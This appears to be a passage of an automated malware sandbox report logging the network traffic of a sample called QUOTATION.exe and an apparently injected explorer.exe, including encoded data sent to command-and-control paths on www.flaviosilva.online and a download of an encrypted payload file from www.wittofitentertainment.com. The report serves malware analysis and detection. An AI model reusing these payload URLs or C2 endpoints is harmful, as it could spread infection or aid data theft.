78 59 55 76 34 78 59 6c 46 75 45 47 41 62 68 50 71 38 52 28 45 38 32 47 56 7a 6a 70 4c 7e 42 76 59 76 62 4d 56 57 37 57 66 6d 4c 63 51 4d 74 61 73 4a 66 76 39 58 70 65 65 4b 35 6e 79 6b 30 69 35 34 55 78 73 6d 77 50 46 53 32 45 68 4c 46 6c 65 77 30 4e 42 6c 43 52 62 6e 43 73 39 6a 66 6d 33 5a 69 76 46 51 71 69 51 7a 75 37 72 46 69 51 34 6c 66 59 65 62 79 4b 55 35 53 69 38 64 34 67 54 61 68 51 7a 52 36 50 6a 47 7a 38 62 46 39 75 78 32 74 79 77 4d 50 4d 30 47 74 70 4f 4f 64 62 44 48 43 74 46 56 55 63 6b 74 52 4d 46 74 2d 50 65 54 65 77 6e 6c 42 64 5f 42 39 55 32 5a 32 6d 47 61 6a 75 4d 54 62 49 6d 39 46 43 5a 38 6c 4c 58 6f 33 72 64 61 46 5a 5f 7a 44 58 77 67 7a 62 51 53 45 30 54 78 65 53 58 64 47 6e 59 65 69 69 32 59 7a 34 50 59 71 4e 49 46 5a 39 79 61 63 41 4c 59 41 4c 5a 70 73 63 38 59 59 30 53 69 70 77 75 44 6b 51 53 61 4e 52 5a 28 4f 78 61 75 33 46 53 54 79 79 49 78 59 6e 76 5a 55 35 7a 30 45 38 61 6f 70 58 6f 6f 4a 72 55 30 70 69 77 47 79 57 36 48 32 44 6b 6c 51 72 73 63 6e 75 56 64 2d 4c 42 32 76 78 36 54 54 42 6b 43 6e 38 43 50 32 4e 53 48 69 65 5a 75 59 65 70 6e 64 44 44 49 6c 49 35 64 6d 34 54 49 74 47 56 73 4c 38 67 45 47 61 58 56 48 4c 55 65 4b 67 55 75 5f 41 36 78 2d 46 69 74 54 67 54 50 62 48 69 76 34 57 59 28 6b 53 35 50 61 77 4d 59 4e 6f 51 65 2d 67 66 79 34 69 6f 41 42 52 34 4d 71 6a 6a 55 43 66 43 71 74 39 56 39 54 48 7a 52 34 48 77 51 4e 6b 56 64 2d 74 6e 49 66 68 42 50 75 31 53 66 52 66 6f 6d 65 51 73 Data Ascii: pO=0ssrY0In6G4DvwTUYoiBzrrQ0mapqbioNvdIPSk6BSutyXiQvQi7y02bTW6ARoQ4pyYbAh(cwbRo4nGdM-w0nh8iSYBjL10VqAnrua(YNhQ0GFCUnjOsAxzpcrMstOZwvbr-8o6w0h~NFgtwW44J3c8JqXnK26Fr3yPC90UcFQHMvs86JBUgfHkQq5fHjBbiQpX-(a3W57pPld47K_olKK5Hlgw6qKNTe7QI~AZ9B-~ujDw9iITX7Lj2bFbXGp(6y7Nnd0v2q36K(_TcPoWdtiuThBBNXZiY5l2XHc82XaEs0vOsPgTQmrcfar12mYs-Za4I90661y7Az4HaOzyUWTr3FX7YEQJgtjBL63(M8mO18ynVbCEBKlYx5wOK9WiV1jm48A~Sj7PtTZaQHGz7MOUPYi(_QQC1v6XBCfR2M77GgLK1L8RQ8f1DrK0M71FfwCaCDAbmYwmvkH0cU6TGTwma1x12WBoqSkpolvAGYTXWhbDbms409sLuakyqxs2VKDuDey4uUiapDrmPv89u9E1iBJdI7AslvSPW8Gyhpa1QcNDtyLGb~3BwVikbv_u6kn4h2oi3cX3A1CFdSD1HSgDU~4DJcOaUclYuIl~pnv(LhGC53nOx3H0y9_hByuiQ4udyWUL57WYtnI~qsmrzoDdnZGK_NKLmZtDElGqQ5jw7cgouhOHcQ-9JYtfBv4E8v2ZZnom2Q47CfNwQXROC0dOONz~9ZzJC8oc0~isMnH~-lsI0V2wMrXOX3rNxMHzuQs7cC46cUCcIvAcCSi5RZAb3BygrJrjbV4s2FEX2hyFHZGZHeIlxYwg5gIojIXXHDT~zvCoO8KrkLbrZzV1wnACiKMdPN_XQbsr5dFyU3e8LeqSxYUv4xYlFuEGAbhPq8R(E82GVzjpL~BvYvbMVW7WfmLcQMtasJfv9XpeeK5nyk0i54UxsmwPFS2EhLFlew0NBlCRbnCs9jfm3ZivFQqiQzu7rFiQ4lfYebyKU5Si8d4gTahQzR6PjGz8bF9ux2tywMPM0GtpOOdbDHCtFVUcktRMFt-PeTewnlBd_B9U2Z2mGajuMTbIm9FCZ8lLXo3rdaFZ_zDXwgzbQSE0TxeSXdGnYeii2Yz4PYqNIFZ9yacALYALZpsc8YY0SipwuDkQSaNRZ(Oxau3FSTyyIxYnvZU5z0E8aopXooJrU0piwGyW6H2DklQrscnuVd-LB2vx6TTBkCn8CP2NSHieZuYepndDDIlI5dm4TItGVsL8gEGaXVHLUeKgUu_A6x-FitTgTPbHiv4WY(kS5PawMYNoQe-gfy4ioABR4MqjjUCfCqt9V9THzR4HwQNkVd-tnIfhBPu1SfRfomeQs(DL8Hx85tpg_VB4AyddUS2YJhl7jVl7jErsT6hIzCWu1GUcePtwxAssdzhmSIsOTwdWko9ii2Gnmrga0QXsci5whwBj3~MPC3ijJ9Qh_RR83XpS1KugN04aT4kqZeK(Mr0F7tbFcLxXDOMHDmzoFf3xPIKlLQC~EbpYJiaummh3none_em~VX5r8kPOWwB7vmj9PTWuib9kr0dg1sQO98JgHyMWhcG4ZTsrs~LZcrg5oSmD7vEPe7K~58QYJZJfcNe5niiymuS0b3Rm1kDoOUHDM4BvGhyeCAN3w7DzrBW4DqiKsJpMT3L(pGKhIPhul1YcWqrBZuyofK5gfndPTeZBsy39lVeag722Wa4WlTVGqAArRpuLnIOLBappspLTXsOY1hjDNMnMWtaG-4oLL2Sf_Vhorfaot~Rivpt20cxsDBqO8inpln5p3wt6v7Ln4OnSUEkKDVgh5sFsYakvNSdPxjCwUxFQrfiiqaKcXE6A59qbkOKanRfPrwWqtVVHQtlL1yvIMYZw3vWI5MlAFMM56(ixvnf99O8H40yJg3Br4mobJkkTadE8wK-MKkk6WVwZWUbxms5hpmEfDF9ufIu2_3kzKTl8t99h5ThWmz3xTlwD3TtZBtvvoS6PdFJ9N1KiQhseKofcXPk1owynlxLlg1Df3nYQDg0KCxNEqJG5gsTXzFZYFXMZQRpzmoIn6zf14ixAcaMrT~-xwYLVo56OdCJf_SBQ-YkNJSlkAOKHuAoK2heqOO3tWvKVFB_bgBS70gDuyT6oeCJymex22IuHxDdt73C~YnwgylRvY9GsI(vu_oBogbC63F_5kqGyXbqOwwbfEawxrsZn_f5R2hFFqrXswXICOlYKjN_j0sCVU0UiwbhtsJ3w-fVEEzOJUGGRZtgc4UZEHhTv5UIGmX8OAGYJFg84huVveWdq4T1WjudZpOXmV8wKISWWhKfcYXm2SJj4vCPLkcY0JKgDHW8DtjmK8uNbj1okfnwxOUOMZEXi6pZaUCAXuOUMveefHg2l4~JH1b6Iy7kfPH2(h268GLD3VuhW4WLUIzXCKD5GVFDu-DRbjQxmi2zlj2COZ~3kh8jrlJQstbnqerrF9cojqwSPEYa4U3pejVwlLDfTXGvsFWirRxD(nyAKlpojkPHJ35IOiHNONkXjwgU49(3xEDFrEZ7wObEj8ePLalDo_WSTiwFEhoMAvwFAMimi6Robt2hXWXjQDL_FPU57vwRmdoqKlbfjMdMYsZiT54vapMG88erDqr7GbWeGRcRZ_MsLYiMRCMa5xpmnNtyZ1es8B1LK6bF5NaZgrtcXp59mRGLFKnwPbBeiRvauySDZwCqnVx5FDT4g8MzeRcHvm~Bdgxw10q_4loD1of9Lq4CehgZWXvvxOlu4hA7tA1ij8YHFFIhCUxUMQkXuxziP7Vg8RW7qsVzYfKhOJ18YI7fa6hSM_bNk4W7ldKbGG40bvLLDqRlZheDtpnRXgnahz7_7g33FeYYFWSRK_FO23x08TayB4~an0F1EjJw3k9axh5pHI1pQMWyA1Uyp0NCJt~keN8w(gZ4KVBWo2LEdAfdf3wOOxS8OVn_Poy-5s3y8xiWcRUX2O9ddAej(YSk0rCOZ1ktEwZ-uzrMUrjOpJXRZHY04ssGtTGz(ZbiqotxKkUKoTe1raNhneXmZb6YpZg-H2txkLIOf52Jqh02SykfyqZc3K5MLG3v8MBqSM2W(vW1s-fpdOAA7g0bWAuh~LS6zuEWMirliB(PCQVqeldCEXgMYApAXDvJNQjJC8SI84gFXTIPc2YnVwoFkVHTzV9d63LbR8fseG(ZPoN271cH62mB8pTnBqEQ1VDuzcB999q4FLWZxjBSwyLipIDM5zo6jD31mJ8X6cO9qJa3BZVf5n7YkODNTeL_ZYKRcT(C0RtJ1KjBuXPmFezAa54AzH0OXD2vyuCWeA2rq4Ow6T1Y49yBBesEwJgzJfXV9gV1261nuwKE~bS6Pp2URZT31_XZSO90nCN3zMPR89usB1gab_lZIy4hoT87EpOjU6D88hDmtT9OtxJKPP7Glv8-QtMBxUW8jzb_WG~zwlQAxBvRRUH0DEIajnVyFzstINhZAFPIZb10mv8ye8fhIy9rLqQiY6hUXLl9QO(mjZxkBGBkXhnBrZqyzuN2Yb15KdTeVsNWX7oUSmaOImQFkVqA~6j8obyR(h32ZHxPiLO16dS5mGUZgYGooFFKwWgjaFgmB6Rflpib55YGKoC0KuefbSMpkogWVp~1dlQkGxkw0WoLjd61m2OebbZOlUM99yD4YYKjXemMnc19oAsWhw1BynUZ~gonKL94nIqBnB6Zj7TlwZG3YKRkfefoCewxy5V1YKZiVLxdkCSTeUeLayDvf-2iNG48nbySoET6WZt3xn9rttecBFGckxr8asqkLLlx(Zk4xYUVUBONq_pGMaL5y4wJWLQQJTHjwseTKPGuqx~_6WfGmmmXTqqMOoyehjpuatBUXRDWJY5ADbY3v2~lZdXqqi3Zhu6vpEjB5qCOYSgw53Ps2M482YlMEDp61CkB(91hBidVRbB37yjoHmucnUsQkiKEbpLYpGUN0JEdX9FLkFsQag8erUMNr5B0mWWNguOuEXWbh3CQkuMie6GGuASly00zoWd1YksxqTf83CVdqxE96UFJ7n1Pa3a9RBbLsbEDU77K6lgonVH7ABckWo7oATREn-1rCoYe9
Mar 20, 2023 15:19:54.299489021 CET	603	OUT	Data Raw: 58 35 66 57 48 73 77 62 6e 63 66 6f 74 74 71 6c 38 45 59 7e 69 66 5f 77 36 73 69 4d 34 63 56 31 6a 33 35 6e 57 7a 36 66 71 42 33 64 4d 31 69 59 31 39 34 32 33 71 57 30 67 67 34 67 49 4f 49 63 6b 76 76 57 6e 6a 31 76 31 77 45 6e 76 71 32 7e 6e 4b Data Ascii: X5fWHswbncfottql8EY~if_w6siM4cV1j35nWz6fqB3dM1iY19423qW0gg4gIOIckvvWnj1v1wEnvq2~nKqUMOc3H6SV2bwlUp4KtsRnAwebqmN2DWc~Gds5PwkW6IHQ3BsSr(bAXK2yAmQdsR-DLhEyBW-hUpYMQcjGWrj2Q6cZ-5KDzv1wmpyuDqhADeXomEUVdE1MPeLTDkquiNY1RsxWcvr~1TMyOC5zsPnFmxXoOSCAVT9
Mar 20, 2023 15:19:54.299532890 CET	603	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:19:54 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 20, 2023 15:19:54.299658060 CET	610	OUT	Data Raw: 4f 46 74 73 35 32 7a 47 43 6a 54 45 71 6a 4a 31 76 79 36 28 7a 44 47 7e 31 42 4c 36 4b 36 4b 45 34 75 2d 7a 5f 6f 74 4e 48 4f 6f 5a 53 53 33 31 62 7e 6a 67 46 64 62 36 45 61 4d 6d 5a 41 6d 59 39 78 73 75 4f 66 49 71 58 76 4a 32 37 59 4f 6f 61 6c Data Ascii: OFts52zGCjTEqjJ1vy6(zDG~1BL6K6KE4u-z_otNHOoZSS31b~jgFdb6EaMmZAmY9xsuOfIqXvJ27YOoalYlWfhMPu_j8vu(bEoGKQNvT1qImgqln6F28Dxdq04sgOGXrQLw2B2d-(21LaVMi0PN9NCkxQRhB3v6xCoMjjDAC(ISQKlSXbS29e8cLkgYA9sAE1kIOoRo_wHmlDULqHJ3XzLx8Dz~M0Y18VaofktiuULC2FY77y9
Mar 20, 2023 15:19:54.299832106 CET	611	OUT	Data Raw: 70 79 48 6e 6d 70 44 6d 53 6b 54 74 69 54 39 58 33 34 4c 4b 70 41 74 78 51 68 49 73 35 30 6a 51 39 52 38 73 78 45 6c 68 41 4b 64 70 67 76 53 47 36 63 43 59 66 47 45 6c 73 36 4e 54 30 35 78 4d 4f 5a 33 5a 50 7e 62 36 41 53 48 46 67 4e 74 69 33 37 Data Ascii: pyHnmpDmSkTtiT9X34LKpAtxQhIs50jQ9R8sxElhAKdpgvSG6cCYfGEls6NT05xMOZ3ZP~b6ASHFgNti37OPbYaDAoe0fc1YBGW5MDS(fnmciNGaS2oRX5a6iVMU4Yxez6mtb70BZCiuH2ClorZYEghtf6PYmu6l2(WXdbvDA(MYlDkljUN4-XR5Zj_4g7NDIrCNmmUlEIz06NnMdOUhkN6C09ixfOzlR(lpHj14KqKkdeioxpc
Mar 20, 2023 15:19:54.299832106 CET	619	OUT	Data Raw: 6b 56 4f 78 72 70 6f 61 73 45 32 41 74 41 4c 69 42 31 5a 63 55 31 31 49 46 46 4c 52 4e 72 43 56 31 50 76 5a 51 61 4e 30 50 66 2d 69 59 67 46 4f 5a 73 47 33 58 64 69 64 4b 6d 6c 59 72 39 53 38 48 39 36 79 39 6c 54 35 57 57 42 77 6c 48 58 53 54 72 Data Ascii: kVOxrpoasE2AtALiB1ZcU11IFFLRNrCV1PvZQaN0Pf-iYgFOZsG3XdidKmlYr9S8H96y9lT5WWBwlHXSTr4oYiY2Ioi91a2SKWNZF6LR_r2HpsDGuEOJCKiiEbz2zjdZkM04eiLbsL1hl6FJIjNKtUXbZMvW0w_A8cY1DGwfYrgYpFOT7~4EXqiaoRZLC1sYi4za3bjaD1YgzTxkyg0xx0swqjebk8bMbEhZmrHGDyvxVBt2gH0
Mar 20, 2023 15:19:54.299997091 CET	624	OUT	Data Raw: 79 61 35 61 65 54 31 6a 4c 58 77 59 58 39 58 52 7a 68 49 61 6a 7e 54 65 57 4b 6c 54 7a 4c 5f 4c 63 63 30 6f 56 57 39 33 77 45 39 6f 55 4f 31 78 4c 64 68 6b 42 70 72 55 38 49 7a 63 52 6c 69 79 65 34 4b 4f 5f 6b 71 34 67 51 6b 45 42 6b 58 69 2d 4e Data Ascii: ya5aeT1jLXwYX9XRzhIaj~TeWKlTzL_Lcc0oVW93wE9oUO1xLdhkBprU8IzcRliye4KO_kq4gQkEBkXi-Nm9JpStytvFumiALcv7eCx7_7tXz2uri(oR0f2EaksM-e-MZ4Xgmy0pjnRKsF6eTjFLoFUKMyStROXtTzbtDQKuOu4vyMfa2j0qeoojBFEujqbG5XfPC4I6DDu6Qs_lSGcEXWHUBH0UB(HL1J0pWamndqjnpquGcJo
Mar 20, 2023 15:19:54.327332973 CET	627	OUT	Data Raw: 61 46 68 66 70 6a 4d 75 6c 52 6e 43 6d 33 71 38 55 6d 38 34 68 35 30 66 51 4e 70 74 72 68 42 45 74 4e 49 52 30 4e 2d 62 6d 4b 66 4a 6f 61 31 69 42 53 4a 66 51 6f 78 72 48 6b 78 66 73 33 39 5a 57 4f 6f 42 38 73 35 5a 71 67 42 4e 7a 69 46 77 5f 47 Data Ascii: aFhfpjMulRnCm3q8Um84h50fQNptrhBEtNIR0N-bmKfJoa1iBSJfQoxrHkxfs39ZWOoB8s5ZqgBNziFw_GuCOLzP-p7isscwOWwD8DjkZ1HsD7tQjFZFOrUwCBWfufFgF6xxMxuYXXj3jI0J8G4P1zFI3xjLUenz3QXQsgJNe9pPUh-yopvoc0YYsOyaTFvcFoXGVnm9FN6AvOjs2uR26lZoBEhTHijVICijhF2xvemAc8fJLwt
Mar 20, 2023 15:19:54.327506065 CET	632	OUT	Data Raw: 63 66 30 55 50 39 42 30 6b 57 62 50 33 62 39 75 52 73 68 58 31 6c 62 66 6c 76 41 4c 6e 49 37 31 41 31 35 53 73 56 51 71 34 75 55 37 76 35 76 4c 57 7a 63 4c 56 4f 55 52 57 46 44 45 49 31 68 67 33 36 41 36 76 4d 65 50 42 62 62 53 76 78 79 4a 65 47 Data Ascii: cf0UP9B0kWbP3b9uRshX1lbflvALnI71A15SsVQq4uU7v5vLWzcLVOURWFDEI1hg36A6vMePBbbSvxyJeGxO8VRNEZzRgW83NndFZjKymPDU-lTmQKJLnZnyPrdOtDo2aPkWXraawNSIUSakbwHC5QZdyzkodKyZS4rwcjZTslkVUWQD47S~jT9fHS10a1w5Q2Gj4vbm25CytGTnv7RrOxttft1ZPsRqnDJHH(aYfpjVGzKgWfx
Mar 20, 2023 15:19:54.327677011 CET	640	OUT	Data Raw: 6d 6e 56 58 75 51 58 7a 4e 33 37 57 77 46 65 42 76 74 4e 73 35 61 41 61 53 65 4e 6c 66 6b 42 36 70 6d 52 44 47 39 71 64 6b 34 34 75 33 59 71 67 54 33 36 32 41 67 48 45 78 76 4c 42 63 4f 32 32 5f 4f 4e 76 76 45 39 62 71 51 4d 47 55 39 68 50 50 43 Data Ascii: mnVXuQXzN37WwFeBvtNs5aAaSeNlfkB6pmRDG9qdk44u3YqgT362AgHExvLBcO22_ONvvE9bqQMGU9hPPCdlF8zDNfvvgNo4DEmde6Gi_vGi9x8krxiSikyGvpO0ACk2neDWZ3FkQNudNTl(h8dUUvFkuGg2I3BcI453R6IAzM87YIJ7tGndPP9MS1q~R3D3HGy2Eqcsr3dU9~zufv2ISXsQ3TljDCcV6qUl7FsuXH_46K81p0N

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49852	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:56.831855059 CET	641	OUT	GET /d91r/?pO=5uELbA0g21s84RfIYZefn7jmwGm7oIOOLOAnPy0CEmjl7E2osw+P2nrFQVa8XPAXlQFWR1Kf++ZUi1OuENtNpjpnS7NncHgQqw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.flaviosilva.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:19:56.860869884 CET	641	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:19:56 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49835	162.240.73.101	443	C:\Users\user\Desktop\QUOTATION.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-20 14:18:03 UTC	0	OUT	GET /VeHZpcMYNF28.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: www.wittofitentertainment.com Cache-Control: no-cache
2023-03-20 14:18:03 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 14:18:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 19 Mar 2023 19:33:53 GMT Accept-Ranges: bytes Content-Length: 190016 Content-Type: application/octet-stream
2023-03-20 14:18:03 UTC	0	IN	Data Raw: 65 15 9a 2d 45 fd d3 ee d5 08 46 e0 48 96 f2 d7 ad 85 6c c1 34 c2 21 9b a8 b8 3d 02 b3 24 d3 6c 18 6c 41 b3 54 9b 42 ae 4c 56 97 09 b7 12 21 02 70 31 37 85 5b 4f c4 7d 93 8e fe 87 bc dc 2e 75 43 9f 8f 0c 64 c8 0c 6d ad 3e 87 5c 6c 9c 3c cd 1d 71 35 18 7d 8a 40 fb e8 37 c9 87 94 89 27 54 29 82 1b 1f 5e 6d 5a 5e c6 26 4e ba c1 f4 f7 a7 18 fc 71 c9 47 09 75 47 83 e7 d4 ed 30 42 fb d3 e4 fa 3d 8c 9e 58 1e 54 b9 e8 43 b1 c1 63 f4 80 a6 6f c9 4b e3 06 f8 7d b8 f1 53 22 e3 34 d5 5c 5f 4e ff 0a d1 b4 81 b1 81 6e 24 b2 aa b2 f8 1a 33 7c 33 29 b6 20 08 c4 b0 e1 4b f6 8d 0c f8 d0 09 95 9b 9a 62 22 06 3d cf dd b2 e6 0e 72 e1 36 f4 45 20 1a 34 2b 5d 77 8f af a5 50 de ff ea 98 78 c9 81 cd 31 aa a7 9c 08 47 43 b9 13 46 15 b8 47 ab 87 62 8b 35 22 77 91 3f af f1 c3 6c a5 Data Ascii: e-EFHl4!=$llATBLV!p17[O}.uCdm>\l<q5}@7'T)^mZ^&NqGuG0B=XTCcoK}S"4\_Nn$3\|3) Kb"=r6E 4+]wPx1GCFGb5"w?l
2023-03-20 14:18:03 UTC	8	IN	Data Raw: 79 cc 0f ee 5f ac aa f7 50 90 5f ca 72 fc aa 0e 75 8b 38 08 97 9c b8 ca 4e 52 8f 0c bd f5 2f 71 bf fe b8 e7 82 e3 7a 17 53 65 86 80 f1 08 f1 35 e0 af ac 34 01 69 20 00 19 d0 3e b0 7b 31 50 6d 11 cf 41 4c de 74 1a a0 73 ff cb 62 74 c4 f1 d3 be 05 59 89 f2 77 72 5b 40 3b e4 62 8b 61 d1 60 60 39 01 60 a5 18 96 42 53 f5 c9 d7 9c 81 d0 81 6d 67 73 58 52 0e bf 0c bc d5 d7 a3 b0 3e 36 eb 07 6b 6f 34 d2 4b 59 ca 71 1e 9d 8d e8 0f 84 85 b3 24 e0 6e 58 6c 8b a7 fc 4b a9 fa f2 02 19 96 db 0d 01 3c 5f d4 00 f2 93 5c 62 f3 f9 dd a9 bd 0a 9f 85 ac 0d 72 9c f3 0f cf 65 8e 89 07 8a a2 6a de f2 da f8 2c d6 be 97 fb e8 80 1b 8c bc 39 68 44 c6 e4 d5 b6 40 c4 5d d1 8e 4b 59 68 0a 02 15 67 a6 5a 60 65 7a 7a 03 36 7a 17 b9 fe 47 7d 15 ac 79 6c 25 3c d6 36 d7 34 78 cf b9 18 6c Data Ascii: y_P_ru8NR/qzSe54i >{1PmALtsbtYwr[@;ba``9`BSmgsXR>6ko4KYq$nXlK<_\brej,9hD@]KYhgZ`ezz6zG}yl%<64xl
2023-03-20 14:18:03 UTC	15	IN	Data Raw: e0 7c 6d 2e 25 cc 2b 3f d6 7e 43 6a c1 c0 3b 94 ab 27 01 fa 93 91 c1 f3 bc 5c 9b 66 f0 db e4 c7 17 49 1d 88 68 e3 02 c6 6d fe 4b c0 73 ce fa 34 1d b3 c5 f1 7c ac 8a 45 af 9e 80 bc 83 32 7d 9c 9a 13 6c be 59 3b 7f da 78 bb e3 45 ea 79 33 6f 22 b2 e1 9f a2 69 0c 4b 8e c3 41 2a 7e 15 bc 63 02 0d 1d 57 09 68 b5 38 a1 da 2f f6 72 2d c5 22 51 c5 66 1b 97 76 e2 44 15 30 d0 cd 47 48 74 82 27 0a 2c 7c b7 e6 f1 9b 77 8b 76 3a 81 f0 0c b9 45 d1 6e f3 2b ba 1a 9a 20 d4 e8 11 b8 8c 52 f6 53 2a 69 a2 aa 9a 7e 73 7f 46 38 bf 4f 74 c4 9f ed 9c a2 39 42 31 39 04 2f 7f 32 f0 0a e8 53 57 62 7e aa fc 7d b1 38 0d 5b 0d 59 f8 ce 7f 20 c4 29 86 97 18 48 77 f5 ac b9 e9 32 69 cd c7 11 8c 74 99 0a a5 b0 81 e1 1d 0d 34 2c b5 d7 3d 97 f2 73 b9 d6 ba 27 48 d4 b4 f7 3b 23 5d 46 e9 7f Data Ascii: \|m.%+?~Cj;'\fIhmKs4\|E2}lY;xEy3o"iKA~cWh8/r-"QfvD0GHt',\|wv:En+ RSi~sF8Ot9B19/2SWb~}8[Y )Hw2it4,=s'H;#]F
2023-03-20 14:18:03 UTC	23	IN	Data Raw: fc 19 08 36 8f 4e 08 58 5a 22 a0 23 96 05 5e bb 14 64 d0 7d cf 6c 4e a5 d6 6c bf 7e 2a d3 f3 af a0 f0 1a f3 14 6f 9d b0 c7 43 fd 4c 0f 83 18 be 78 aa 8c 88 a9 93 96 24 6d 43 25 62 6c 60 57 57 e6 9e 0e 33 7f 89 e5 c7 8f 19 51 5d 66 7d 6b 57 b2 06 88 56 02 a9 a7 c7 fa 86 47 b9 48 b0 b2 77 28 ca cc b6 1d 0c 70 5c 90 d5 b6 04 39 50 cb 65 6c 86 da 42 70 8d d7 01 94 95 65 94 32 74 b2 13 1b f3 c5 42 22 63 bc c3 b2 98 62 82 4a 64 d1 3d 99 e6 04 70 5e 4d 69 e7 d0 31 1e f6 ea 8a e7 c2 80 ab 12 a1 a3 69 08 a1 66 5b 70 81 df 0e ba 92 1c 49 25 95 0a 22 1d 90 81 23 01 12 c2 3c 14 04 81 83 76 6e 20 1c 7d 81 57 f0 7e 6b c3 1b 6f 3c 17 fb 02 7d ea d3 0c 12 f4 72 60 05 bf a6 68 8a 10 8d a4 c5 1a 01 20 1a 0e 94 9d 90 3b 13 61 b8 91 78 9a 95 12 b5 9b c2 ff e3 10 ef 84 19 72 Data Ascii: 6NXZ"#^d}lNl~*oCLx$mC%bl`WW3Q]f}kWVGHw(p\9PelBpe2tB"cbJd=p^Mi1if[pI%"#<vn }W~ko<}r`h ;axr
2023-03-20 14:18:03 UTC	31	IN	Data Raw: 82 c9 e6 b5 44 bf 6f e1 1d 08 da 6d 0b d7 85 55 c1 57 6e 27 a7 b7 f3 ff 42 bf 6c 67 03 e5 f9 62 91 e0 22 a8 60 58 7e 4c 65 d4 46 70 13 68 df a6 7f 02 11 15 57 4c 22 37 44 5f e3 b8 b7 c1 df b2 45 69 6e 00 73 f6 1a 6f 7c 62 ff fe 4c 5d 6c d5 b9 59 f0 86 58 a8 54 8a 36 0f f0 10 3f 37 33 f6 a1 41 c9 d8 da 16 b4 91 6b 70 6d b5 26 3f 73 1e f1 fd ca 92 eb 8e ab 4f 14 d3 2b 8e c1 f9 47 4f fa f0 3d 54 0f d0 75 97 34 0a e0 d5 21 28 df d7 80 f4 ee 96 d4 a7 f3 13 11 b8 cd e1 c6 d7 2a ad 5e b5 be fd d2 f1 2a 62 6e 79 d0 06 70 65 94 7e 83 24 ad ea d8 8c 1d c8 f0 8a cd 98 1a af 9c 38 9f 68 cb 6e 00 eb 77 25 17 9f 30 34 3c 31 9e a0 f4 2e e7 3a e7 ac d3 d2 43 43 5f 1c 61 38 aa 0a 1c 0c 56 7b cc b9 68 69 75 81 dc e1 0b 11 41 eb 15 50 68 9a 3b 90 5b 8a d8 44 6a a6 78 3a 98 Data Ascii: DomUWn'Blgb"`X~LeFphWL"7D_Einso\|bL]lYXT6?73Akpm&?sO+GO=Tu4!(^bnype~$8hnw%04<1.:CC_a8V{hiuAPh;[Djx:
2023-03-20 14:18:03 UTC	39	IN	Data Raw: b4 f1 46 fb 0c fa e0 a8 1d a7 90 18 49 6b a9 11 70 d5 93 8b da 2b bb b5 a2 1c 89 95 a3 b6 c3 0e 82 1d c3 94 c4 0c 87 66 b2 86 6e da 5d a3 6c 87 0a f0 6a a5 00 34 aa d7 b8 b5 89 8c aa ca 2b e4 5b 56 3f c7 0f 01 c2 42 c9 82 23 54 f9 fa e4 c3 f4 d6 ee 8f df 8d ef c7 12 6a 0a 33 56 37 b0 cb 25 26 52 16 07 f6 e9 5e 23 f9 1c 99 db a0 31 2f 11 1f 90 a4 f4 f8 05 6e 5b f7 f2 55 b6 64 12 28 db 83 5d f2 7a 34 48 bf e1 4b 83 84 35 dc 27 5e 32 9a f1 fd 37 8b 2d 40 3a b6 a6 4f e4 5c 27 36 02 24 af 3e 8b 32 6d 3f 6c 42 2d 37 83 c3 23 d3 10 bb 9b 56 11 72 d7 5f 4d 67 52 53 f2 b5 09 af 6c 15 99 49 4a 79 05 cd ba d3 47 8d 8b 1d f9 21 cb 8a 96 66 4a 41 17 e8 7b 44 6a 62 96 01 84 d4 c8 e5 2c cd 67 e8 06 0f 1c b4 c8 15 8a d1 f7 a0 a6 5a 05 5c ae 2d 20 f6 64 15 dd bf cc d0 ab Data Ascii: FIkp+fn]lj4+[V?B#Tj3V7%&R^#1/n[Ud(]z4HK5'^27-@:O\'6$>2m?lB-7#Vr_MgRSlIJyG!fJA{Djb,gZ\- d
